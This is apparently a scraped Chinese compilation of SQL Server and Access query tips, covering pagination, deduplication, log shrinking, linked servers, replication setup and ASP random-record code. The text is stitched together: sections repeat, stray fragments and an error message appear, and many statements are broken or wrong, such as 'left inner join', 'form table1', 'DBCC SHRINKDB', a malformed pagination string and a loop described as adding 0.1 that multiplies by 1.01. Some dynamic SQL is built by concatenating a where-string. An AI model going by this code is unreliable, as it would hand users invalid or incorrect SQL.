10、說明：兩張關聯表，刪除主表中已經在副表中沒有的信息
delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)
11、說明：四表聯查問題：
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、說明：日程安排提前五分鐘提醒
SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5
13、說明：一條sql 語句搞定數據庫分頁
select top 10 b.* from(select top 20 主鍵字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主鍵字段 = a.主鍵字段 order by a.排序字段 具體實現：
關于數據庫分頁：
declare @start int,@end int @sql nvarchar(600)set @sql=’select top’+str(@end-@start+1)+’+from top’+str(@str-1)+’Rid from T where Rid>-1)’ exec sp_executesql @sql
注意：在top后不能直接跟一個變量，所以在實際應用中只有這樣的進行特殊的處理。Rid為一個標識列，如果top后還有具體的字段，這樣做是非常有好處的。因為這樣可以避免 top的字段如果是邏輯索引的，查詢的結果后實際表中的不一致（邏輯索引中的數據有可能和數據表中的不一致，而查詢時如果處在索引則首先查詢索引）
T where rid not in(select
14、說明：前10條記錄
select top 10 * form table1 where 范圍
15、說明：選擇在每一組b值相同的數據中對應的a最大的記錄的所有信息(類似這樣的用法可以用于論壇每月排行榜,每月熱銷產品分析,按科目成績排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)
16、說明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重復行而派生出一個結果表
(select a from tableA)except(select a from tableB)except(select a from tableC)
17、說明：隨機取出10條數據
select top 10 * from tablename order by newid()
18、說明：隨機選擇記錄 select newid()
19、說明：刪除重復記錄
1),delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)2),select distinct * into temp from tablename delete from tablename
insert into tablename select * from temp 評價： 這種操作牽連大量的數據的移動，這種做法不適合大容量但數據操作
3),例如：在一個外部表中導入數據，由于某些原因第一次只導入了一部分，但很難判斷具體位置，這樣只有在下一次全部導入，這樣也就產生好多重復的字段，怎樣刪除重復字段 alter table tablename--添加一個自增列
add column_b int identity(1,1)delete from tablename where column_b not in(select max(column_b)from tablename group by column1,column2,...)alter table tablename drop column column_b
20、說明：列出數據庫里所有的表名
select name from sysobjects where type='U' // U代表用戶
21、說明：列出表里的所有的列名
select name from syscolumns where id=object_id('TableName')
22、說明：列示type、vender、pcs字段，以type字段排列，case可以方便地實現多重選擇，類似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 顯示結果：
type vender pcs 電腦 A 1
電腦 A 1 光盤 B 2 光盤 A 2 手機 B 3 手機 C 3
23、說明：初始化表table1 TRUNCATE TABLE table1
24、說明：選擇從10到15的記錄
select top 5 * from(select top 15 * from table order by id asc)table_別名 order by id desc
三、技巧 1、1=1，1=2的使用，在SQL語句組合時用的較多
“where 1=1” 是表示選擇全部 “where 1=2”全部不選，如：
if @strWhere!='' begin set @strSQL = 'select count(*)as Total from [' + @tblName + '] where ' + @strWhere end else begin set @strSQL = 'select count(*)as Total from [' + @tblName + ']' end 我們可以直接寫成 錯誤！未找到目錄項。
set @strSQL = 'select count(*)as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere
2、收縮數據庫--重建索引 DBCC REINDEX DBCC INDEXDEFRAG--收縮數據和日志 DBCC SHRINKDB DBCC SHRINKFILE
3、壓縮數據庫
dbcc shrinkdatabase(dbname)
4、轉移數據庫給新用戶以已存在用戶權限
exec sp_change_users_login 'update_one','newname','oldname' go
5、檢查備份集
RESTORE VERIFYONLY from disk='E:dvbbs.bak'
6、修復數據庫
ALTER DATABASE [dvbbs] SET SINGLE_USER GO DBCC CHECKDB('dvbbs',repair_allow_data_loss)WITH TABLOCK GO ALTER DATABASE [dvbbs] SET MULTI_USER GO
7、日志清除 SET NOCOUNT ON DECLARE @LogicalFileName sysname, @MaxMinutes INT, @NewSize INT
USE tablename--要操作的數據庫名
SELECT @LogicalFileName = 'tablename_log',--日志文件名 @MaxMinutes = 10,--Limit on time allowed to wrap log.@NewSize = 1--你想設定的日志文件的大小(M)Setup / initialize DECLARE @OriginalSize int SELECT @OriginalSize = size FROM sysfiles WHERE name = @LogicalFileName SELECT 'Original Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),@OriginalSize)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(@OriginalSize*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName CREATE TABLE DummyTrans(DummyColumn char(8000)not null)
DECLARE @Counter INT, @StartTime DATETIME, @TruncLog VARCHAR(255)SELECT @StartTime = GETDATE(), @TruncLog = 'BACKUP LOG ' + db_name()+ ' WITH TRUNCATE_ONLY' DBCC SHRINKFILE(@LogicalFileName, @NewSize)EXEC(@TruncLog)--Wrap the log if necessary.WHILE @MaxMinutes > DATEDIFF(mi, @StartTime, GETDATE())--time has not expired
AND @OriginalSize =(SELECT size FROM sysfiles WHERE name = @LogicalFileName)AND(@OriginalSize * 8 /1024)> @NewSize BEGIN--Outer loop.SELECT @Counter = 0 WHILE((@Counter < @OriginalSize / 16)AND(@Counter < 50000))BEGIN--update INSERT DummyTrans VALUES('Fill Log')DELETE DummyTrans SELECT @Counter = @Counter + 1 END EXEC(@TruncLog)END SELECT 'Final Size of ' + db_name()+ ' LOG is ' + CONVERT(VARCHAR(30),size)+ ' 8K pages or ' + CONVERT(VARCHAR(30),(size*8/1024))+ 'MB' FROM sysfiles WHERE name = @LogicalFileName DROP TABLE DummyTrans SET NOCOUNT OFF
8、說明：更改某個表
exec sp_changeobjectowner 'tablename','dbo'
9、存儲更改全部表
CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch @OldOwner as NVARCHAR(128), @NewOwner as NVARCHAR(128)AS DECLARE @Name as NVARCHAR(128)DECLARE @Owner as NVARCHAR(128)DECLARE @OwnerName as NVARCHAR(128)DECLARE curObject CURSOR FOR select 'Name' = name, 'Owner' = user_name(uid)from sysobjects where user_name(uid)=@OldOwner order by name OPEN curObject FETCH NEXT FROM curObject INTO @Name, @Owner WHILE(@@FETCH_STATUS=0)BEGIN if @Owner=@OldOwner begin set @OwnerName = @OldOwner + '.' + rtrim(@Name)
exec sp_changeobjectowner @OwnerName, @NewOwner end--select @name,@NewOwner,@OldOwner FETCH NEXT FROM curObject INTO @Name, @Owner END close curObject deallocate curObject GO
10、SQL SERVER中直接循環寫入數據 declare @i int set @i=1 while @i<30 begin insert into test(userid)values(@i)set @i=@i+1 end 案例：
有如下表，要求就裱中所有沒有及格的成績，在每次增長0.1的基礎上，使他們剛好及格:
Name score Zhangshan 80
Lishi 59 Wangwu 50
Songquan 69
while((select min(score)from tb_table)<60)begin update tb_table set score =score*1.01 where score<60
if(select min(score)from tb_table)>60 break else continue end
數據開發-經典
1.按姓氏筆畫排序:
Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as //從少到多2.數據庫加密: select encrypt('原始密碼')
select pwdencrypt('原始密碼')select pwdcompare('原始密碼','加密后密碼')= 1--相同；否則不相同 encrypt('原始密碼')select pwdencrypt('原始密碼')select pwdcompare('原始密碼','加密后密碼')= 1--相同；否則不相同 3.取回表中字段: declare @list varchar(1000), @sql nvarchar(1000)select @list=@list+','+b.name from sysobjects a,syscolumns b where a.id=b.id and a.name='表A' set @sql='select '+right(@list,len(@list)-1)+' from 表A' exec(@sql)4.查看硬盤分區: EXEC master..xp_fixeddrives 5.比較A,B表是否相等: if(select checksum_agg(binary_checksum(*))from A)=(select checksum_agg(binary_checksum(*))from B)print '相等' else print '不相等' 6.殺掉所有的事件探察器進程: DECLARE hcforeach CURSOR GLOBAL FOR SELECT 'kill '+RTRIM(spid)FROM master.dbo.sysprocesses WHERE program_name IN('SQL profiler',N'SQL 事件探查器')EXEC sp_msforeach_worker '?' 7.記錄搜索: 開頭到N條記錄
Select Top N * From 表
N到M條記錄(要有主索引ID)Select Top M-N * From 表 Where ID in(Select Top M ID From 表)Order by ID Desc---N到結尾記錄
Select Top N * From 表 Order by ID Desc 案例
例如1：一張表有一萬多條記錄，表的第一個字段 RecID 是自增長字段，寫一個SQL語句，找出表的第31到第40個記錄。
select top 10 recid from A where recid not in(select top 30 recid from A)分析：如果這樣寫會產生某些問題，如果recid在表中存在邏輯索引。
select top 10 recid from A where??是從索引中查找，而后面的select top 30 recid from A則在數據表中查找，這樣由于索引中的順序有可能和數據表中的不一致，這樣就導致查詢到的不是本來的欲得到的數據。解決方案
1，用order by select top 30 recid from A order by ricid 如果該字段不是自增長，就會出現問題 2，在那個子查詢中也加條件：select top 30 recid from A where recid>-1
例2：查詢表中的最后以條記錄，并不知道這個表共有多少數據,以及表結構。
set @s = 'select top 1 * from T
where pid not in(select top ' + str(@count-1)+ ' pid from T)' print @s
exec sp_executesql
@s 9：獲取當前數據庫中的所有用戶表
select Name from sysobjects where xtype='u' and status>=0 10：獲取某一個表的所有字段
select name from syscolumns where id=object_id('表名')select name from syscolumns where id in(select id from sysobjects where type = 'u' and name = '表名')兩種方式的效果相同
11：查看與某一個表相關的視圖、存儲過程、函數
select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%' 12：查看當前數據庫中所有存儲過程
select name as 存儲過程名稱 from sysobjects where xtype='P' 13：查詢用戶創建的所有數據庫
select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')或者
select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01 14：查詢某一個表的字段和數據類型
select column_name,data_type from information_schema.columns where table_name = '表名' 15：不同服務器數據庫之間的數據操作--創建鏈接服務器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '遠程服務器名或ip地址 ' exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用戶名 ', '密碼 '--查詢示例
select * from ITSV.數據庫名.dbo.表名--導入示例
select * into 表 from ITSV.數據庫名.dbo.表名--以后不再使用時刪除鏈接服務器
exec sp_dropserver 'ITSV ', 'droplogins '
--連接遠程/局域網數據(openrowset/openquery/opendatasource)--
1、openrowset--查詢示例
select * from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數據庫名.dbo.表名)
--生成本地表
select * into 表 from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數據庫名.dbo.表名)
--把本地表導入遠程表
insert openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數據庫名.dbo.表名)select *from 本地表--更新本地表 update b set b.列A=a.列A from openrowset('SQLOLEDB ', 'sql服務器名 ';'用戶名 ';'密碼 ',數據庫名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1--openquery用法需要創建一個連接--首先創建一個連接創建鏈接服務器
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '遠程服務器名或ip地址 '--查詢
select * FROM openquery(ITSV, 'SELECT * FROM 數據庫.dbo.表名 ')--把本地表導入遠程表
insert openquery(ITSV, 'SELECT * FROM 數據庫.dbo.表名 ')select * from 本地表--更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 數據庫.dbo.表名 ')as a inner join 本地表 b on a.列A=b.列A
--
3、opendatasource/openrowset SELECT * FROM opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陸名;Password=密碼 ').test.dbo.roy_ta--把本地表導入遠程表
insert opendatasource('SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陸名;Password=密碼 ').數據庫.dbo.表名 select * from 本地表
SQL Server基本函數
SQL Server基本函數 1.字符串函數 長度與分析用
1,datalength(Char_expr)返回字符串包含字符數,但不包含后面的空格
2,substring(expression,start,length)取子串，字符串的下標是從“1”，start為起始位置，length為字符串長度，實際應用中以len(expression)取得其長度
3,right(char_expr,int_expr)返回字符串右邊第int_expr個字符，還用left于之相反
4,isnull(check_expression , replacement_value)如果check_expression為空，則返回replacement_value的值，不為空，就返回check_expression字符操作類
5,Sp_addtype 自定義數據類型
例如：EXEC sp_addtype birthday, datetime, 'NULL' 6,set nocount {on|off} 使返回的結果中不包含有關受 Transact-SQL 語句影響的行數的信息。如果存儲過程中包含的一些語句并不返回許多實際的數據，則該設置由于大量減少了網絡流量，因此可顯著提高性能。SET NOCOUNT 設置是在執行或運行時設置，而不是在分析時設置。
SET NOCOUNT 為 ON 時，不返回計數（表示受 Transact-SQL 語句影響的行數）。SET NOCOUNT 為 OFF 時，返回計數
常識
在SQL查詢中：from后最多可以跟多少張表或視圖：256 在SQL語句中出現 Order by,查詢時，先排序，后取
在SQL中，一個字段的最大容量是8000，而對于nvarchar(4000),由于nvarchar是Unicode碼。
SQLServer2000同步復制技術實現步驟
一、預備工作
1.發布服務器,訂閱服務器都創建一個同名的windows用戶,并設置相同的密碼,做為發布快照文件夾的有效訪問用戶--管理工具--計算機管理--用戶和組--右鍵用戶
--新建用戶
--建立一個隸屬于administrator組的登陸windows的用戶（SynUser）2.在發布服務器上,新建一個共享目錄,做為發布的快照文件的存放目錄,操作: 我的電腦--D: 新建一個目錄,名為: PUB--右鍵這個新建的目錄--屬性--共享
--選擇“共享該文件夾”--通過“權限”按紐來設置具體的用戶權限,保證第一步中創建的用戶(SynUser)具有對該文件夾的所有權限
--確定
3.設置SQL代理(SQLSERVERAGENT)服務的啟動用戶(發布/訂閱服務器均做此設置)開始--程序--管理工具--服務--右鍵SQLSERVERAGENT--屬性--登陸--選擇“此賬戶”--輸入或者選擇第一步中創建的windows登錄用戶名（SynUser）--“密碼”中輸入該用戶的密碼
4.設置SQL Server身份驗證模式,解決連接時的權限問題(發布/訂閱服務器均做此設置)企業管理器
--右鍵SQL實例--屬性
--安全性--身份驗證
--選擇“SQL Server 和 Windows”
--確定
5.在發布服務器和訂閱服務器上互相注冊 企業管理器
--右鍵SQL Server組
--新建SQL Server注冊...--下一步--可用的服務器中,輸入你要注冊的遠程服務器名--添加--下一步--連接使用,選擇第二個“SQL Server身份驗證”--下一步--輸入用戶名和密碼（SynUser）
--下一步--選擇SQL Server組,也可以創建一個新組--下一步--完成
6.對于只能用IP,不能用計算機名的,為其注冊服務器別名（此步在實施中沒用到）
(在連接端配置,比如,在訂閱服務器上配置的話,服務器名稱中輸入的是發布服務器的IP)開始--程序--Microsoft SQL Server--客戶端網絡實用工具--別名--添加
--網絡庫選擇“tcp/ip”--服務器別名輸入SQL服務器名
--連接參數--服務器名稱中輸入SQL服務器ip地址
--如果你修改了SQL的端口,取消選擇“動態決定端口”,并輸入對應的端口號
二、正式配置
1、配置發布服務器
打開企業管理器，在發布服務器（B、C、D）上執行以下步驟:(1)從[工具]下拉菜單的[復制]子菜單中選擇[配置發布、訂閱服務器和分發]出現配置發布和分發向導(2)[下一步] 選擇分發服務器 可以選擇把發布服務器自己作為分發服務器或者其他sql的服務器（選擇自己）
(3)[下一步] 設置快照文件夾
采用默認servernamePub(4)[下一步] 自定義配置
可以選擇:是,讓我設置分發數據庫屬性啟用發布服務器或設置發布設置 否,使用下列默認設置（推薦）
(5)[下一步] 設置分發數據庫名稱和位置 采用默認值(6)[下一步] 啟用發布服務器 選擇作為發布的服務器(7)[下一步] 選擇需要發布的數據庫和發布類型(8)[下一步] 選擇注冊訂閱服務器(9)[下一步] 完成配置
2、創建出版物
發布服務器B、C、D上
(1)從[工具]菜單的[復制]子菜單中選擇[創建和管理發布]命令(2)選擇要創建出版物的數據庫，然后單擊[創建發布](3)在[創建發布向導]的提示對話框中單擊[下一步]系統就會彈出一個對話框。對話框上的內容是復制的三個類型。我們現在選第一個也就是默認的快照發布(其他兩個大家可以去看看幫助)(4)單擊[下一步]系統要求指定可以訂閱該發布的數據庫服務器類型, SQLSERVER允許在不同的數據庫如 orACLE或ACCESS之間進行數據復制。但是在這里我們選擇運行“SQL SERVER 2000”的數據庫服務器
(5)單擊[下一步]系統就彈出一個定義文章的對話框也就是選擇要出版的表 注意: 如果前面選擇了事務發布 則再這一步中只能選擇帶有主鍵的表(6)選擇發布名稱和描述
(7)自定義發布屬性 向導提供的選擇:
是 我將自定義數據篩選,啟用匿名訂閱和或其他自定義屬性 否 根據指定方式創建發布（建議采用自定義的方式）(8)[下一步] 選擇篩選發布的方式
(9)[下一步] 可以選擇是否允許匿名訂閱
1)如果選擇署名訂閱,則需要在發布服務器上添加訂閱服務器
方法: [工具]->[復制]->[配置發布、訂閱服務器和分發的屬性]->[訂閱服務器] 中添加 否則在訂閱服務器上請求訂閱時會出現的提示:改發布不允許匿名訂閱 如果仍然需要匿名訂閱則用以下解決辦法
[企業管理器]->[復制]->[發布內容]->[屬性]->[訂閱選項] 選擇允許匿名請求訂閱 2)如果選擇匿名訂閱,則配置訂閱服務器時不會出現以上提示(10)[下一步] 設置快照 代理程序調度(11)[下一步] 完成配置
當完成出版物的創建后創建出版物的數據庫也就變成了一個共享數據庫 有數據
srv1.庫名..author有字段:id,name,phone, srv2.庫名..author有字段:id,name,telphone,adress
要求：
srv1.庫名..author增加記錄則srv1.庫名..author記錄增加
srv1.庫名..author的phone字段更新，則srv1.庫名..author對應字段telphone更新--*/
--大致的處理步驟
--1.在 srv1 上創建連接服務器,以便在 srv1 中操作 srv2,實現同步
exec sp_addlinkedserver 'srv2','','SQLOLEDB','srv2的sql實例名或ip' exec sp_addlinkedsrvlogin 'srv2','false',null,'用戶名','密碼' go--2.在 srv1 和 srv2 這兩臺電腦中,啟動 msdtc(分布式事務處理服務),并且設置為自動啟動
。我的電腦--控制面板--管理工具--服務--右鍵 Distributed Transaction Coordinator--屬性--啟動--并將啟動類型設置為自動啟動 go
--然后創建一個作業定時調用上面的同步處理存儲過程就行了
企業管理器--管理
--SQL Server代理--右鍵作業--新建作業
--“常規”項中輸入作業名稱--“步驟”項
--新建
--“步驟名”中輸入步驟名
--“類型”中選擇“Transact-SQL 腳本(TSQL)”--“數據庫”選擇執行命令的數據庫
--“命令”中輸入要執行的語句: exec p_process--確定--“調度”項--新建調度
--“名稱”中輸入調度名稱
--“調度類型”中選擇你的作業執行安排--如果選擇“反復出現”--點“更改”來設置你的時間安排
然后將SQL Agent服務啟動,并設置為自動啟動,否則你的作業不會被執行
設置方法: 我的電腦--控制面板--管理工具--服務--右鍵 SQLSERVERAGENT--屬性--啟動類型--選擇“自動啟動”--確定.--3.實現同步處理的方法2,定時同步
--在srv1中創建如下的同步處理存儲過程 create proc p_process as--更新修改過的數據
update b set name=i.name,telphone=i.telphone from srv2.庫名.dbo.author b,author i where b.id=i.id and(b.name <> i.name or b.telphone <> i.telphone)
--插入新增的數據
insert srv2.庫名.dbo.author(id,name,telphone)select id,name,telphone from author i where not exists(select * from srv2.庫名.dbo.author where id=i.id)
--刪除已經刪除的數據(如果需要的話)delete b from srv2.庫名.dbo.author b where not exists(select * from author where id=b.id)go
第五篇：經典實用SQL語句總結
經典實用SQL語句大全總結
[編輯語言]2015-05-26 19:56
本文導航
1、首頁2、11、說明：四表聯查問題：
本文是經典實用SQL語句大全的介紹，下面是該介紹的詳細信息。下列語句部分是Mssql語句，不可以在access中使用。SQL分類：
DDL—數據定義語言(CREATE，ALTER，DROP，DECLARE)DML—數據操縱語言(SELECT，DELETE，UPDATE，INSERT)DCL—數據控制語言(GRANT，REVOKE，COMMIT，ROLLBACK)首先,簡要介紹基礎語句：
1、說明：創建數據庫
CREATE DATABASE database-name
2、說明：刪除數據庫 drop database dbname
3、說明：備份sql server---創建 備份數據的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---開始 備份
BACKUP DATABASE pubs TO testBack
4、說明：創建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根據已有的表創建新表：
A：create table tab_new like tab_old(使用舊表創建新表)B：create table tab_new as select col1,col2… from tab_old definition only
5、說明：
刪除新表：drop table tabname
6、說明：
增加一個列：Alter table tabname add column col type 注：列增加后將不能刪除。DB2中列加上后數據類型也不能改變，唯一能改變的是增加varchar類型的長度。
7、說明：
添加主鍵：Alter table tabname add primary key(col)說明：
刪除主鍵：Alter table tabname drop primary key(col)
8、說明：
創建索引：create [unique] index idxname on tabname(col….)刪除索引：drop index idxname 注：索引是不可更改的，想更改必須刪除重新建。
9、說明： 創建視圖：create view viewname as select statement 刪除視圖：drop view viewname
10、說明：幾個簡單的基本的sql語句 選擇：select * from table1 where 范圍
插入：insert into table1(field1,field2)values(value1,value2)刪除：delete from table1 where 范圍
更新：update table1 set field1=value1 where 范圍
查找：select * from table1 where field1 like ’%value1%’---like的語法很精妙，查資料!排序：select * from table1 order by field1,field2 [desc] 總數：select count * as totalcount from table1 求和：select sum(field1)as sumvalue from table1平均：select avg(field1)as avgvalue from table1 最大：select max(field1)as maxvalue from table1 最小：select min(field1)as minvalue from table1
11、說明：幾個高級查詢運算詞 A： UNION 運算符
UNION 運算符通過組合其他兩個結果表(例如 TABLE1 和 TABLE2)并消去表中任何重復行而派生出一個結果表。當 ALL 隨 UNION 一起使用時(即 UNION ALL)，不消除重復行。兩種情況下，派生表的每一行不是來自 TABLE1 就是來自 TABLE2。
B： EXCEPT 運算符 EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重復行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時(EXCEPT ALL)，不消除重復行。
C： INTERSECT 運算符
INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行并消除所有重復行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時(INTERSECT ALL)，不消除重復行。
注：使用運算詞的幾個查詢結果行必須是一致的。
12、說明：使用外連接 A、left outer join：
左外連接(左連接)：結果集幾包括連接表的匹配行，也包括左連接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B：right outer join: 右外連接(右連接)：結果集既包括連接表的匹配連接行，也包括右連接表的所有行。
C：full outer join：
全外連接：不僅包括符號連接表的匹配行，還包括兩個連接表中的所有記錄。其次，大家來看一些不錯的sql語句
1、說明：復制表(只復制結構,源表名：a 新表名：b)(Access可用)法一：select * into b from a where 1<>1 法二：select top 0 * into b from a
2、說明：拷貝表(拷貝數據,源表名：a 目標表名：b)(Access可用)insert into b(a, b, c)select d,e,f from b;
3、說明：跨數據庫之間表的拷貝(具體數據使用絕對路徑)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具體數據庫’ where 條件 例子：..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..4、說明：子查詢(表名1：a 表名2：b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)
5、說明：顯示文章、提交人和最后回復時間
select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b
6、說明：外連接查詢(表名1：a 表名2：b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、說明：在線視圖查詢(表名1：a)select * from(SELECT a,b,c FROM a)T where t.a > 1;
8、說明：between的用法,between限制查詢數據范圍時包括了邊界值,not between不包括
select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 數值1 and 數值2
9、說明：in 的使用方法
select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)
10、說明：兩張關聯表，刪除主表中已經在副表中沒有的信息 delete from table1 where not exists(select * from table2 where table1.field1=table2.field1)
11、說明：四表聯查問題：
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where.....12、說明：日程安排提前五分鐘提醒
SQL: select * from 日程安排 where datediff('minute',f開始時間,getdate())>5
13、說明：一條sql 語句搞定數據庫分頁
select top 10 b.* from(select top 20 主鍵字段,排序字段 from 表名 order by 排序字段 desc)a,表名 b where b.主鍵字段 = a.主鍵字段 order by a.排序字段
14、說明：前10條記錄
select top 10 * form table1 where 范圍
15、說明：選擇在每一組b值相同的數據中對應的a最大的記錄的所有信息(類似這樣的用法可以用于論壇每月排行榜,每月熱銷產品分析,按科目成績排名,等等.)select a,b,c from tablename ta where a=(select max(a)from tablename tb where tb.b=ta.b)
16、說明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重復行而派生出一個結果表(select a from tableA)except(select a from tableB)except(select a from tableC)
17、說明：隨機取出10條數據
select top 10 * from tablename order by newid()
18、說明：隨機選擇記錄 select newid()
19、說明：刪除重復記錄
Delete from tablename where id not in(select max(id)from tablename group by col1,col2,...)20、說明：列出數據庫里所有的表名
select name from sysobjects where type='U'
21、說明：列出表里的所有的
select name from syscolumns where id=object_id('TableName')
22、說明：列示type、vender、pcs字段，以type字段排列，case可以方便地實現多重選擇，類似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end)FROM tablename group by type 顯示結果： type vender pcs 電腦 A 1 電腦 A 1 光盤 B 2 光盤 A 2 手機 B 3 手機 C 3
23、說明：初始化表table1 TRUNCATE TABLE table1
24、說明：選擇從10到15的記錄
select top 5 * from(select top 15 * from table order by id asc)table_別名 order by id desc 隨機選擇數據庫記錄的方法(使用Randomize函數，通過SQL語句實現)對存儲在數據庫中的數據來說，隨機數特性能給出上面的效果，但它們可能太慢了些。你不能要求ASP“找個隨機數”然后打印出來。實際上常見的解決方案是建立如下所示的循環：
Randomize RNumber = Int(Rnd*499)+1 While Not objRec.EOF If objRec(“ID”)= RNumber THEN...這里是執行腳本...end if objRec.MoveNext Wend 這很容易理解。首先，你取出1到500范圍之內的一個隨機數(假設500就是數據庫內記錄的總數)。然后，你遍歷每一記錄來測試ID 的值、檢查其是否匹配RNumber。滿足條件的話就執行由THEN 關鍵字開始的那一塊代碼。假如你的RNumber 等于495，那么要循環一遍數據庫花的時間可就長了。雖然500這個數字看起來大了些，但相比更為穩固的企業解決方案這還是個小型數據庫了，后者通常在一個數據庫內就包含了成千上萬條記錄。這時候不就死定了? 采用SQL，你就可以很快地找出準確的記錄并且打開一個只包含該記錄的 recordset，如下所示：
Randomize RNumber = Int(Rnd*499)+ 1 SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber set objRec = ObjConn.Execute(SQL)Response.WriteRNumber & “ = ” & objRec(“ID”)& “ ” & objRec(“c_email”)不必寫出RNumber 和ID，你只需要檢查匹配情況即可。只要你對以上代碼的工作滿意，你自可按需操作“隨機”記錄。Recordset沒有包含其他內容，因此你很快就能找到你需要的記錄這樣就大大降低了處理時間。
再談隨機數
現在你下定決心要榨干Random 函數的最后一滴油，那么你可能會一次取出多條隨機記錄或者想采用一定隨機范圍內的記錄。把上面的標準Random 示例擴展一下就可以用SQL應對上面兩種情況了。為了取出幾條隨機選擇的記錄并存放在同一recordset內，你可以存儲三個隨機數，然后查詢數據庫獲得匹配這些數字的記錄：
SQL = “SELECT * FROM Customers WHERE ID = ” & RNumber & “ OR ID = ” & RNumber2 & “ OR ID = ” & RNumber3 假如你想選出10條記錄(也許是每次頁面裝載時的10條鏈接的列表)，你可以用BETWEEN 或者數學等式選出第一條記錄和適當數量的遞增記錄。這一操作可以通過好幾種方式來完成，但是 SELECT 語句只顯示一種可能(這里的ID 是自動生成的號碼)：
SQL = “SELECT * FROM Customers WHERE ID BETWEEN ” & RNumber & “ AND ” & RNumber & “+ 9” 注意：以上代碼的執行目的不是檢查數據庫內是否有9條并發記錄。隨機讀取若干條記錄，測試過
Access語法：SELECT top 10 * From 表名 ORDER BY Rnd(id)Sql server:select top n * from 表名 order by newid()mysql select * From 表名 Order By rand()Limit n Access左連接語法(最近開發要用左連接,Access幫助什么都沒有,網上沒有Access的SQL說明,只有自己測試, 現在記下以備后查)語法 select table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where...使用SQL語句 用...代替過長的字符串顯示 語法： SQL數據庫：select case when len(field)>10 then left(field,10)+'...' else field end as news_name,news_id from tablename Access數據庫：SELECT iif(len(field)>2,left(field,2)+'...',field)FROM tablename;Conn.Execute說明 Execute方法
該方法用于執行SQL語句。根據SQL語句執行后是否返回記錄集，該方法的使用格式分為以下兩種：
1.執行SQL查詢語句時，將返回查詢得到的記錄集。用法為： Set 對象變量名=連接對象.Execute(“SQL 查詢語言”)Execute方法調用后，會自動創建記錄集對象，并將查詢結果存儲在該記錄對象中，通過Set方法，將記錄集賦給指定的對象保存，以后對象變量就代表了該記錄集對象。
2.執行SQL的操作性語言時，沒有記錄集的返回。此時用法為： 連接對象.Execute “SQL 操作性語句” [, RecordAffected][, Option] ·RecordAffected 為可選項，此出可放置一個變量，SQL語句執行后，所生效的記錄數會自動保存到該變量中。通過訪問該變量，就可知道SQL語句隊多少條記錄進行了操作。
·Option 可選項，該參數的取值通常為adCMDText，它用于告訴ADO，應該將Execute方法之后的第一個字符解釋為命令文本。通過指定該參數，可使執行更高效。
·BeginTrans、RollbackTrans、CommitTrans方法 這三個方法是連接對象提供的用于事務處理的方法。BeginTrans用于開始一個事物;RollbackTrans用于回滾事務;CommitTrans用于提交所有的事務處理結果，即確認事務的處理。
事務處理可以將一組操作視為一個整體，只有全部語句都成功執行后，事務處理才算成功;若其中有一個語句執行失敗，則整個處理就算失敗，并恢復到處里前的狀態。
BeginTrans和CommitTrans用于標記事務的開始和結束，在這兩個之間的語句，就是作為事務處理的語句。判斷事務處理是否成功，可通過連接對象的Error集合來實現，若Error集合的成員個數不為0，則說明有錯誤發生，事務處理失敗。Error集合中的每一個Error對象，代表一個錯誤信息。
SQL語句大全精要 2006/10/26 13:46 DELETE 語句
DELETE語句：用于創建一個刪除查詢，可從列在 FROM 子句之中的一個或多個表中刪除記錄，且該子句滿足 WHERE 子句中的條件，可以使用DELETE刪除多個記錄。
